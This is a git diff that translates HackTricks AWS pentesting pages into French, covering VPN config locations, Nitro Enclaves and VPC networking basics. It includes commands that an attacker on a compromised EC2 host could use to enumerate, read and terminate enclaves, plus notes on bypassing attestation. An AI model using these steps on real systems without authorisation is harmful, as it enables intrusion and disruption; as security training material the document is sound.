+Si une **connexion VPN a été établie**, vous devriez rechercher des fichiers de configuration **`.opvn`** dans le système. De plus, un endroit où vous pourriez trouver les **configurations** est dans **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
 
-If a **VPN connection was stablished** you should search for **`.opvn`** config files in the system. Moreover, one place where you could find the **configurations** is in **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
-
-#### **Post Exploitaiton**
+#### **Post Exploitation**
 
 {{#ref}}
 ../../aws-post-exploitation/aws-vpn-post-exploitation.md
 {{#endref}}
 
-## References
+## Références
 
 - [https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html](https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md
index 0575a17d8..0bcad23e0 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md
@@ -2,21 +2,20 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture.
+AWS Nitro est une suite de **technologies innovantes** qui constitue la plateforme sous-jacente pour les instances AWS EC2. Introduit par Amazon pour **améliorer la sécurité, la performance et la fiabilité**, Nitro s'appuie sur des **composants matériels personnalisés et un hyperviseur léger**. Il abstrait une grande partie des fonctionnalités de virtualisation traditionnelles vers du matériel et des logiciels dédiés, **minimisant la surface d'attaque** et améliorant l'efficacité des ressources. En déchargeant les fonctions de virtualisation, Nitro permet aux instances EC2 de fournir une **performance proche du bare-metal**, ce qui est particulièrement bénéfique pour les applications gourmandes en ressources. De plus, la puce de sécurité Nitro garantit spécifiquement la **sécurité du matériel et du firmware**, renforçant ainsi son architecture robuste.
 
 ### Nitro Enclaves
 
-**AWS Nitro Enclaves** provides a secure, **isolated compute environment within Amazon EC2 instances**, specifically designed for processing highly sensitive data. Leveraging the AWS Nitro System, these enclaves ensure robust **isolation and security**, ideal for **handling confidential information** such as PII or financial records. They feature a minimalist environment, significantly reducing the risk of data exposure. Additionally, Nitro Enclaves support cryptographic attestation, allowing users to verify that only authorized code is running, crucial for maintaining strict compliance and data protection standards.
+**AWS Nitro Enclaves** fournit un environnement de calcul sécurisé et **isolé au sein des instances Amazon EC2**, spécifiquement conçu pour le traitement de données hautement sensibles. Tirant parti du système AWS Nitro, ces enclaves garantissent une **isolation et une sécurité robustes**, idéales pour **traiter des informations confidentielles** telles que des données personnelles identifiables (PII) ou des dossiers financiers. Elles disposent d'un environnement minimaliste, réduisant considérablement le risque d'exposition des données. De plus, les Nitro Enclaves prennent en charge l'attestation cryptographique, permettant aux utilisateurs de vérifier que seul le code autorisé s'exécute, ce qui est crucial pour maintenir des normes strictes de conformité et de protection des données.
 
 > [!CAUTION]
-> Nitro Enclave images are **run from inside EC2 instances** and you cannot see from the AWS web console if an EC2 instances is running images in Nitro Enclave or not.
+> Les images Nitro Enclave sont **exécutées depuis l'intérieur des instances EC2** et vous ne pouvez pas voir depuis la console web AWS si une instance EC2 exécute des images dans Nitro Enclave ou non.
 
-## Nitro Enclave CLI installation
-
-Follow the all instructions [**from the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). However, these are the most important ones:
+## Installation du CLI Nitro Enclave
 
+Suivez toutes les instructions [**de la documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). Cependant, voici les plus importantes :
 ```bash
 # Install tools
 sudo amazon-linux-extras install aws-nitro-enclaves-cli -y
@@ -32,47 +31,39 @@ nitro-cli --version
 # Start and enable the Nitro Enclaves allocator service.
 sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service
 ```
-
 ## Nitro Enclave Images
 
-The images that you can run in Nitro Enclave are based on docker images, so you can create your Nitro Enclave images from docker images like:
-
+Les images que vous pouvez exécuter dans Nitro Enclave sont basées sur des images docker, donc vous pouvez créer vos images Nitro Enclave à partir d'images docker comme :
 ```bash
 # You need to have the docker image accesible in your running local registry
 # Or indicate the full docker image URL to access the image
 nitro-cli build-enclave --docker-uri <docker-img>:<tag> --output-file nitro-img.eif
 ```
+Comme vous pouvez le voir, les images Nitro Enclave utilisent l'extension **`eif`** (Fichier d'image d'enclave).
 
-As you can see the Nitro Enclave images use the extension **`eif`** (Enclave Image File).
-
-The output will look similar to:
-
+La sortie ressemblera à :
 ```
 Using the locally available Docker image...
 Enclave Image successfully created.
 {
-  "Measurements": {
-    "HashAlgorithm": "Sha384 { ... }",
-    "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
-    "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
-    "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
-  }
+"Measurements": {
+"HashAlgorithm": "Sha384 { ... }",
+"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
+"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
+"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
+}
 }
 ```
+### Exécuter une image
 
-### Run an Image
-
-As per [**the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), in order to run an enclave image you need to assign it memory of **at least 4 times the size of the `eif` file**. It's possible to configure the default resources to give to it in the file
-
+Selon [**la documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), pour exécuter une image d'enclave, vous devez lui attribuer une mémoire de **au moins 4 fois la taille du fichier `eif`**. Il est possible de configurer les ressources par défaut à lui attribuer dans le fichier.
 ```shell
 /etc/nitro_enclaves/allocator.yaml
 ```
-
 > [!CAUTION]
-> Always remember that you need to **reserve some resources for the parent EC2** instance also!
-
-After knowing the resources to give to an image and even having modified the configuration file it's possible to run an enclave image with:
+> N'oubliez jamais que vous devez **réserver des ressources pour l'instance EC2 parente** également !
 
+Après avoir connu les ressources à attribuer à une image et même après avoir modifié le fichier de configuration, il est possible d'exécuter une image d'enclave avec :
 ```shell
 # Restart the service so the new default values apply
 sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service
@@ -80,80 +71,72 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n
 # Indicate the CPUs and memory to give
 nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-mode --enclave-cid 16
 ```
+### Énumérer les Enclaves
 
-### Enumerate Enclaves
-
-If you compromise and EC2 host it's possible to get a list of running enclave images with:
-
+Si vous compromettez un hôte EC2, il est possible d'obtenir une liste des images d'enclave en cours d'exécution avec :
 ```bash
 nitro-cli describe-enclaves
 ```
-
-It's **not possible to get a shell** inside a running enclave image because thats the main purpose of enclave, however, if you used the parameter **`--debug-mode`**, it's possible to get the **stdout** of it with:
-
+Il est **impossible d'obtenir un shell** à l'intérieur d'une image d'enclave en cours d'exécution car c'est le principal objectif de l'enclave, cependant, si vous utilisez le paramètre **`--debug-mode`**, il est possible d'obtenir le **stdout** avec :
 ```shell
 ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID")
 nitro-cli console --enclave-id ${ENCLAVE_ID}
 ```
+### Terminer les Enclaves
 
-### Terminate Enclaves
-
-If an attacker compromise an EC2 instance by default he won't be able to get a shell inside of them, but he will be able to **terminate them** with:
-
+Si un attaquant compromet une instance EC2, par défaut, il ne pourra pas obtenir un shell à l'intérieur, mais il pourra **les terminer** avec :
 ```shell
 nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID}
 ```
-
 ## Vsocks
 
-The only way to communicate with an **enclave** running image is using **vsocks**.
+Le seul moyen de communiquer avec une **enclave** exécutant une image est d'utiliser **vsocks**.
 
-**Virtual Socket (vsock)** is a socket family in Linux specifically designed to facilitate **communication** between virtual machines (**VMs**) and their **hypervisors**, or between VMs **themselves**. Vsock enables efficient, **bi-directional communication** without relying on the host's networking stack. This makes it possible for VMs to communicate even without network configurations, **using a 32-bit Context ID (CID) and port numbers** to identify and manage connections. The vsock API supports both stream and datagram socket types, similar to TCP and UDP, providing a versatile tool for user-level applications in virtual environments.
+**Virtual Socket (vsock)** est une famille de sockets dans Linux spécifiquement conçue pour faciliter la **communication** entre les machines virtuelles (**VMs**) et leurs **hyperviseurs**, ou entre les VMs **elles-mêmes**. Vsock permet une **communication** efficace et **bidirectionnelle** sans dépendre de la pile réseau de l'hôte. Cela permet aux VMs de communiquer même sans configurations réseau, **en utilisant un ID de contexte de 32 bits (CID) et des numéros de port** pour identifier et gérer les connexions. L'API vsock prend en charge à la fois les types de sockets de flux et de datagrammes, similaires à TCP et UDP, fournissant un outil polyvalent pour les applications de niveau utilisateur dans des environnements virtuels.
 
 > [!TIP]
-> Therefore, an vsock address looks like this: `<CID>:<Port>`
+> Par conséquent, une adresse vsock ressemble à ceci : `<CID>:<Port>`
 
-To find **CIDs** of the enclave running images you could just execute the following cmd and thet the **`EnclaveCID`**:
+Pour trouver les **CIDs** des images d'enclave en cours d'exécution, vous pouvez simplement exécuter la commande suivante et obtenir le **`EnclaveCID`** :
 
 <pre class="language-bash"><code class="lang-bash">nitro-cli describe-enclaves
 
 [
-  {
-    "EnclaveName": "secure-channel-example",
-    "EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
-    "ProcessID": 10131,
+{
+"EnclaveName": "secure-channel-example",
+"EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
+"ProcessID": 10131,
 <strong>    "EnclaveCID": 16,
 </strong>    "NumberOfCPUs": 2,
-    "CPUIDs": [
-      1,
-      3
-    ],
-    "MemoryMiB": 1024,
-    "State": "RUNNING",
-    "Flags": "DEBUG_MODE",
-    "Measurements": {
-      "HashAlgorithm": "Sha384 { ... }",
-      "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
-      "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
-      "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
-    }
-  }
+"CPUIDs": [
+1,
+3
+],
+"MemoryMiB": 1024,
+"State": "RUNNING",
+"Flags": "DEBUG_MODE",
+"Measurements": {
+"HashAlgorithm": "Sha384 { ... }",
+"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
+"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
+"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
+}
+}
 ]
 </code></pre>
 
 > [!WARNING]
-> Note that from the host there isn't any way to know if a CID is exposing any port! Unless using some **vsock port scanner like** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner).
+> Notez qu'à partir de l'hôte, il n'y a aucun moyen de savoir si un CID expose un port ! À moins d'utiliser un **scanneur de port vsock comme** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner).
 
 ### Vsock Server/Listener
 
-Find here a couple of examples:
+Trouvez ici quelques exemples :
 
 - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py)
 
 <details>
 
 <summary>Simple Python Listener</summary>
-
 ```python
 #!/usr/bin/env python3
 
@@ -173,30 +156,26 @@ s.listen()
 print(f"Connection opened by cid={remote_cid} port={remote_port}")
 
 while True:
-    buf = conn.recv(64)
-    if not buf:
-        break
+buf = conn.recv(64)
+if not buf:
+break
 
-    print(f"Received bytes: {buf}")
+print(f"Received bytes: {buf}")
 ```
-
 </details>
-
 ```bash
 # Using socat
 socat VSOCK-LISTEN:<port>,fork EXEC:"echo Hello from server!"
 ```
+### Client Vsock
 
-### Vsock Client
-
-Examples:
+Exemples :
 
 - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py)
 
 <details>
 
-<summary>Simple Python Client</summary>
-
+<summary>Client Python Simple</summary>
 ```python
 #!/usr/bin/env python3
 
@@ -212,64 +191,51 @@ s.connect((CID, PORT))
 s.sendall(b"Hello, world!")
 s.close()
 ```
-
 </details>
-
 ```bash
 # Using socat
 echo "Hello, vsock!" | socat - VSOCK-CONNECT:3:5000
 ```
-
 ### Vsock Proxy
 
-The tool vsock-proxy allows to proxy a vsock proxy with another address, for example:
-
+L'outil vsock-proxy permet de proxy un vsock proxy avec une autre adresse, par exemple :
 ```bash
 vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml
 ```
-
-This will forward the **local port 8001 in vsock** to `ip-ranges.amazonaws.com:443` and the file **`your-vsock-proxy.yaml`** might have this content allowing to access `ip-ranges.amazonaws.com:443`:
-
+Cela redirigera le **port local 8001 dans vsock** vers `ip-ranges.amazonaws.com:443` et le fichier **`your-vsock-proxy.yaml`** pourrait avoir ce contenu permettant d'accéder à `ip-ranges.amazonaws.com:443` :
 ```yaml
 allowlist:
-  - { address: ip-ranges.amazonaws.com, port: 443 }
+- { address: ip-ranges.amazonaws.com, port: 443 }
 ```
-
-It's possible to see the vsock addresses (**`<CID>:<Port>`**) used by the EC2 host with (note the `3:8001`, 3 is the CID and 8001 the port):
-
+Il est possible de voir les adresses vsock (**`<CID>:<Port>`**) utilisées par l'hôte EC2 avec (notez le `3:8001`, 3 est le CID et 8001 le port) :
 ```bash
 sudo ss -l -p -n | grep v_str
 v_str LISTEN 0      0                                                                              3:8001                   *:*     users:(("vsock-proxy",pid=9458,fd=3))
 ```
+## Attestation Nitro Enclave & KMS
 
-## Nitro Enclave Atestation & KMS
+Le SDK Nitro Enclaves permet à une enclave de demander un **document d'attestation signé cryptographiquement** au **Hyperviseur** Nitro, qui inclut des **mesures uniques** spécifiques à cette enclave. Ces mesures, qui incluent des **hashs et des registres de configuration de plateforme (PCRs)**, sont utilisées lors du processus d'attestation pour **prouver l'identité de l'enclave** et **établir la confiance avec des services externes**. Le document d'attestation contient généralement des valeurs comme PCR0, PCR1 et PCR2, que vous avez rencontrées auparavant lors de la construction et de l'enregistrement d'un EIF d'enclave.
 
-The Nitro Enclaves SDK allows an enclave to request a **cryptographically signed attestation document** from the Nitro **Hypervisor**, which includes **unique measurements** specific to that enclave. These measurements, which include **hashes and platform configuration registers (PCRs)**, are used during the attestation process to **prove the enclave's identity** and **build trust with external services**. The attestation document typically contains values like PCR0, PCR1, and PCR2, which you have encountered before when building and saving an enclave EIF.
+D'après les [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), voici les valeurs PCR :
 
-From the [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), these are the PCR values:
+<table><thead><tr><th width="97">PCR</th><th width="221">Hash de ...</th><th>Description</th></tr></thead><tbody><tr><td>PCR0</td><td>Fichier image de l'enclave</td><td>Une mesure contiguë du contenu du fichier image, sans les données de section.</td></tr><tr><td>PCR1</td><td>Noyau Linux et bootstrap</td><td>Une mesure contiguë des données du noyau et du ramfs de démarrage.</td></tr><tr><td>PCR2</td><td>Application</td><td>Une mesure contiguë et ordonnée des applications utilisateur, sans le ramfs de démarrage.</td></tr><tr><td>PCR3</td><td>Rôle IAM attribué à l'instance parente</td><td>Une mesure contiguë du rôle IAM attribué à l'instance parente. Assure que le processus d'attestation réussit uniquement lorsque l'instance parente a le rôle IAM correct.</td></tr><tr><td>PCR4</td><td>ID de l'instance parente</td><td>Une mesure contiguë de l'ID de l'instance parente. Assure que le processus d'attestation réussit uniquement lorsque l'instance parente a un ID d'instance spécifique.</td></tr><tr><td>PCR8</td><td>Certificat de signature du fichier image de l'enclave</td><td>Une mesure du certificat de signature spécifié pour le fichier image de l'enclave. Assure que le processus d'attestation réussit uniquement lorsque l'enclave a été démarrée à partir d'un fichier image d'enclave signé par un certificat spécifique.</td></tr></tbody></table>
 
-<table><thead><tr><th width="97">PCR</th><th width="221">Hash of ...</th><th>Description</th></tr></thead><tbody><tr><td>PCR0</td><td>Enclave image file</td><td>A contiguous measure of the contents of the image file, without the section data.</td></tr><tr><td>PCR1</td><td>Linux kernel and bootstrap</td><td>A contiguous measurement of the kernel and boot ramfs data.</td></tr><tr><td>PCR2</td><td>Application</td><td>A contiguous, in-order measurement of the user applications, without the boot ramfs.</td></tr><tr><td>PCR3</td><td>IAM role assigned to the parent instance</td><td>A contiguous measurement of the IAM role assigned to the parent instance. Ensures that the attestation process succeeds only when the parent instance has the correct IAM role.</td></tr><tr><td>PCR4</td><td>Instance ID of the parent instance</td><td>A contiguous measurement of the ID of the parent instance. Ensures that the attestation process succeeds only when the parent instance has a specific instance ID.</td></tr><tr><td>PCR8</td><td>Enclave image file signing certificate</td><td>A measure of the signing certificate specified for the enclave image file. Ensures that the attestation process succeeds only when the enclave was booted from an enclave image file signed by a specific certificate.</td></tr></tbody></table>
-
-You can integrate **cryptographic attestation** into your applications and leverage pre-built integrations with services like **AWS KMS**. AWS KMS can **validate enclave attestations** and offers attestation-based condition keys (`kms:RecipientAttestation:ImageSha384` and `kms:RecipientAttestation:PCR`) in its key policies. These policies ensure that AWS KMS permits operations using the KMS key **only if the enclave's attestation document is valid** and meets the **specified conditions**.
+Vous pouvez intégrer l'**attestation cryptographique** dans vos applications et tirer parti des intégrations préconstruites avec des services comme **AWS KMS**. AWS KMS peut **valider les attestations d'enclave** et offre des clés de condition basées sur l'attestation (`kms:RecipientAttestation:ImageSha384` et `kms:RecipientAttestation:PCR`) dans ses politiques de clés. Ces politiques garantissent qu'AWS KMS permet des opérations utilisant la clé KMS **uniquement si le document d'attestation de l'enclave est valide** et répond aux **conditions spécifiées**.
 
 > [!TIP]
-> Note that Enclaves in debug (--debug) mode generate attestation documents with PCRs that are made of zeros (`000000000000000000000000000000000000000000000000`). Therefore, KMS policies checking these values will fail.
+> Notez que les Enclaves en mode debug (--debug) génèrent des documents d'attestation avec des PCRs composés de zéros (`000000000000000000000000000000000000000000000000`). Par conséquent, les politiques KMS vérifiant ces valeurs échoueront.
 
-### PCR Bypass
+### Contournement des PCR
 
-From an attackers perspective, notice that some PCRs would allow to modify some parts or all the enclave image and would still be valid (for example PCR4 just checks the ID of the parent instance so running any enclave image in that EC2 will allow to fulfil this potential PCR requirement).
+Du point de vue d'un attaquant, notez que certains PCRs permettraient de modifier certaines parties ou l'ensemble de l'image de l'enclave et seraient toujours valides (par exemple, PCR4 vérifie uniquement l'ID de l'instance parente, donc exécuter n'importe quelle image d'enclave dans cet EC2 permettra de satisfaire cette exigence potentielle de PCR).
 
-Therefore, an attacker that compromise the EC2 instance might be able to run other enclave images in order to bypass these protections.
+Par conséquent, un attaquant qui compromet l'instance EC2 pourrait être en mesure d'exécuter d'autres images d'enclave afin de contourner ces protections.
 
-The research on how to modify/create new images to bypass each protection (spcially the not taht obvious ones) is still TODO.
+La recherche sur la façon de modifier/créer de nouvelles images pour contourner chaque protection (en particulier celles qui ne sont pas si évidentes) est encore à faire.
 
-## References
+## Références
 
 - [https://medium.com/@F.DL/understanding-vsock-684016cf0eb0](https://medium.com/@F.DL/understanding-vsock-684016cf0eb0)
-- All the parts of the Nitro tutorial from AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli)
+- Toutes les parties du tutoriel Nitro d'AWS : [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md
index 03277bfd1..9f7e01bd2 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md
@@ -4,37 +4,37 @@
 
 ## AWS Networking in a Nutshell
 
-A **VPC** contains a **network CIDR** like 10.0.0.0/16 (with its **routing table** and **network ACL**).
+Un **VPC** contient un **CIDR de réseau** comme 10.0.0.0/16 (avec sa **table de routage** et **ACL de réseau**).
 
-This VPC network is divided in **subnetworks**, so a **subnetwork** is directly **related** with the **VPC**, **routing** **table** and **network ACL**.
+Ce réseau VPC est divisé en **sous-réseaux**, donc un **sous-réseau** est directement **lié** au **VPC**, à la **table de routage** et à l'**ACL de réseau**.
 
-Then, **Network Interface**s attached to services (like EC2 instances) are **connected** to the **subnetworks** with **security group(s)**.
+Ensuite, les **interfaces réseau** attachées aux services (comme les instances EC2) sont **connectées** aux **sous-réseaux** avec des **groupes de sécurité**.
 
-Therefore, a **security group** will limit the exposed ports of the network **interfaces using it**, **independently of the subnetwork**. And a **network ACL** will **limit** the exposed ports to to the **whole network**.
+Par conséquent, un **groupe de sécurité** limitera les ports exposés des **interfaces réseau qui l'utilisent**, **indépendamment du sous-réseau**. Et une **ACL de réseau** **limitera** les ports exposés à **l'ensemble du réseau**.
 
-Moreover, in order to **access Internet**, there are some interesting configurations to check:
+De plus, pour **accéder à Internet**, il y a certaines configurations intéressantes à vérifier :
 
-- A **subnetwork** can **auto-assign public IPv4 addresses**
-- An **instance** created in the network that **auto-assign IPv4 addresses can get one**
-- An **Internet gateway** need to be **attached** to the **VPC**
-  - You could also use **Egress-only internet gateways**
-- You could also have a **NAT gateway** in a **private subnet** so it's possible to **connect to external services** from that private subnet, but it's **not possible to reach them from the outside**.
-  - The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs)
+- Un **sous-réseau** peut **attribuer automatiquement des adresses IPv4 publiques**
+- Une **instance** créée dans le réseau qui **attribue automatiquement des adresses IPv4 peut en obtenir une**
+- Une **passerelle Internet** doit être **attachée** au **VPC**
+- Vous pouvez également utiliser des **passerelles Internet uniquement sortantes**
+- Vous pouvez également avoir une **passerelle NAT** dans un **sous-réseau privé** afin qu'il soit possible de **se connecter à des services externes** depuis ce sous-réseau privé, mais il **n'est pas possible de les atteindre depuis l'extérieur**.
+- La passerelle NAT peut être **publique** (accès à Internet) ou **privée** (accès à d'autres VPC)
 
 ![](<../../../../images/image (274).png>)
 
 ## VPC
 
-Amazon **Virtual Private Cloud** (Amazon VPC) enables you to **launch AWS resources into a virtual network** that you've defined. This virtual network will have several subnets, Internet Gateways to access Internet, ACLs, Security groups, IPs...
+Amazon **Virtual Private Cloud** (Amazon VPC) vous permet de **lancer des ressources AWS dans un réseau virtuel** que vous avez défini. Ce réseau virtuel aura plusieurs sous-réseaux, des passerelles Internet pour accéder à Internet, des ACL, des groupes de sécurité, des IP...
 
 ### Subnets
 
-Subnets helps to enforce a greater level of security. **Logical grouping of similar resources** also helps you to maintain an **ease of management** across your infrastructure.
+Les sous-réseaux aident à renforcer un niveau de sécurité plus élevé. **Le regroupement logique de ressources similaires** vous aide également à maintenir une **facilité de gestion** à travers votre infrastructure.
 
-- Valid CIDR are from a /16 netmask to a /28 netmask.
-- A subnet cannot be in different availability zones at the same time.
-- **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use.
-- It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.**
+- Les CIDR valides vont d'un masque de réseau /16 à un masque de réseau /28.
+- Un sous-réseau ne peut pas être dans différentes zones de disponibilité en même temps.
+- **AWS réserve les trois premières adresses IP hôtes** de chaque sous-réseau **pour** **l'utilisation interne d'AWS** : la première adresse hôte utilisée est pour le routeur VPC. La deuxième adresse est réservée pour le DNS AWS et la troisième adresse est réservée pour un usage futur.
+- On appelle **sous-réseaux publics** ceux qui ont **un accès direct à Internet, tandis que les sous-réseaux privés n'en ont pas.**
 
 <figure><img src="https://lh5.googleusercontent.com/N_WTrTrDAHwN61FMKJvLSHVua2EM0IazHH1fSTg8JQfTChm-dLN9mn7wkjz2MlpD-uOUqtWdMZpqKOp4VxaHy5-5X66GD1K8y1UGc27r-GbHdFty9ImpXdcjEsC7u4vjxKme_B_HwDOUnG6camxENYECTw=s2048" alt=""><figcaption></figcaption></figure>
 
@@ -42,15 +42,15 @@ Subnets helps to enforce a greater level of security. **Logical grouping of simi
 
 ### Route Tables
 
-Route tables determine the traffic routing for a subnet within a VPC. They determine which network traffic is forwarded to the internet or to a VPN connection. You will usually find access to the:
+Les tables de routage déterminent le routage du trafic pour un sous-réseau au sein d'un VPC. Elles déterminent quel trafic réseau est redirigé vers Internet ou vers une connexion VPN. Vous trouverez généralement l'accès à :
 
-- Local VPC
+- VPC local
 - NAT
-- Internet Gateways / Egress-only Internet gateways (needed to give a VPC access to the Internet).
-  - In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC.
-- VPC endpoints (to access S3 from private networks)
+- Passerelles Internet / Passerelles Internet uniquement sortantes (nécessaires pour donner accès à Internet à un VPC).
+- Pour rendre un sous-réseau public, vous devez **créer** et **attacher** une **passerelle Internet** à votre VPC.
+- Points de terminaison VPC (pour accéder à S3 depuis des réseaux privés)
 
-In the following images you can check the differences in a default public network and a private one:
+Dans les images suivantes, vous pouvez vérifier les différences entre un réseau public par défaut et un réseau privé :
 
 <figure><img src="https://lh3.googleusercontent.com/q4ASpcLAYqijdNMLhMLl8EoowDtTMU5I_7YCVfk7-5hxDyeQOik9ImHnD2SYy32XUA2qXjEbXTAxA1lP--znJASdhYOdBveDcrD42f9XBKZ3EmjJCazN3YPLC6oS0xtRMmfORuwCszmMt-KrAkH07_izwg=s2048" alt=""><figcaption></figcaption></figure>
 
@@ -58,142 +58,138 @@ In the following images you can check the differences in a default public networ
 
 ### ACLs
 
-**Network Access Control Lists (ACLs)**: Network ACLs are firewall rules that control incoming and outgoing network traffic to a subnet. They can be used to allow or deny traffic to specific IP addresses or ranges.
+**Listes de contrôle d'accès réseau (ACLs)** : Les ACL de réseau sont des règles de pare-feu qui contrôlent le trafic réseau entrant et sortant vers un sous-réseau. Elles peuvent être utilisées pour autoriser ou refuser le trafic vers des adresses IP spécifiques ou des plages.
 
-- It’s most frequent to allow/deny access using security groups, but this is only way to completely cut established reverse shells. A modified rule in a security groups doesn’t stop already established connections
-- However, this apply to the whole subnetwork be careful when forbidding stuff because needed functionality might be disturbed
+- Il est plus fréquent d'autoriser/refuser l'accès en utilisant des groupes de sécurité, mais c'est le seul moyen de couper complètement les shells inversés établis. Une règle modifiée dans un groupe de sécurité ne stoppe pas les connexions déjà établies.
+- Cependant, cela s'applique à l'ensemble du sous-réseau, soyez prudent lorsque vous interdisez des éléments car des fonctionnalités nécessaires pourraient être perturbées.
 
 ### Security Groups
 
-Security groups are a virtual **firewall** that control inbound and outbound network **traffic to instances** in a VPC. Relation 1 SG to M instances (usually 1 to 1).\
-Usually this is used to open dangerous ports in instances, such as port 22 for example:
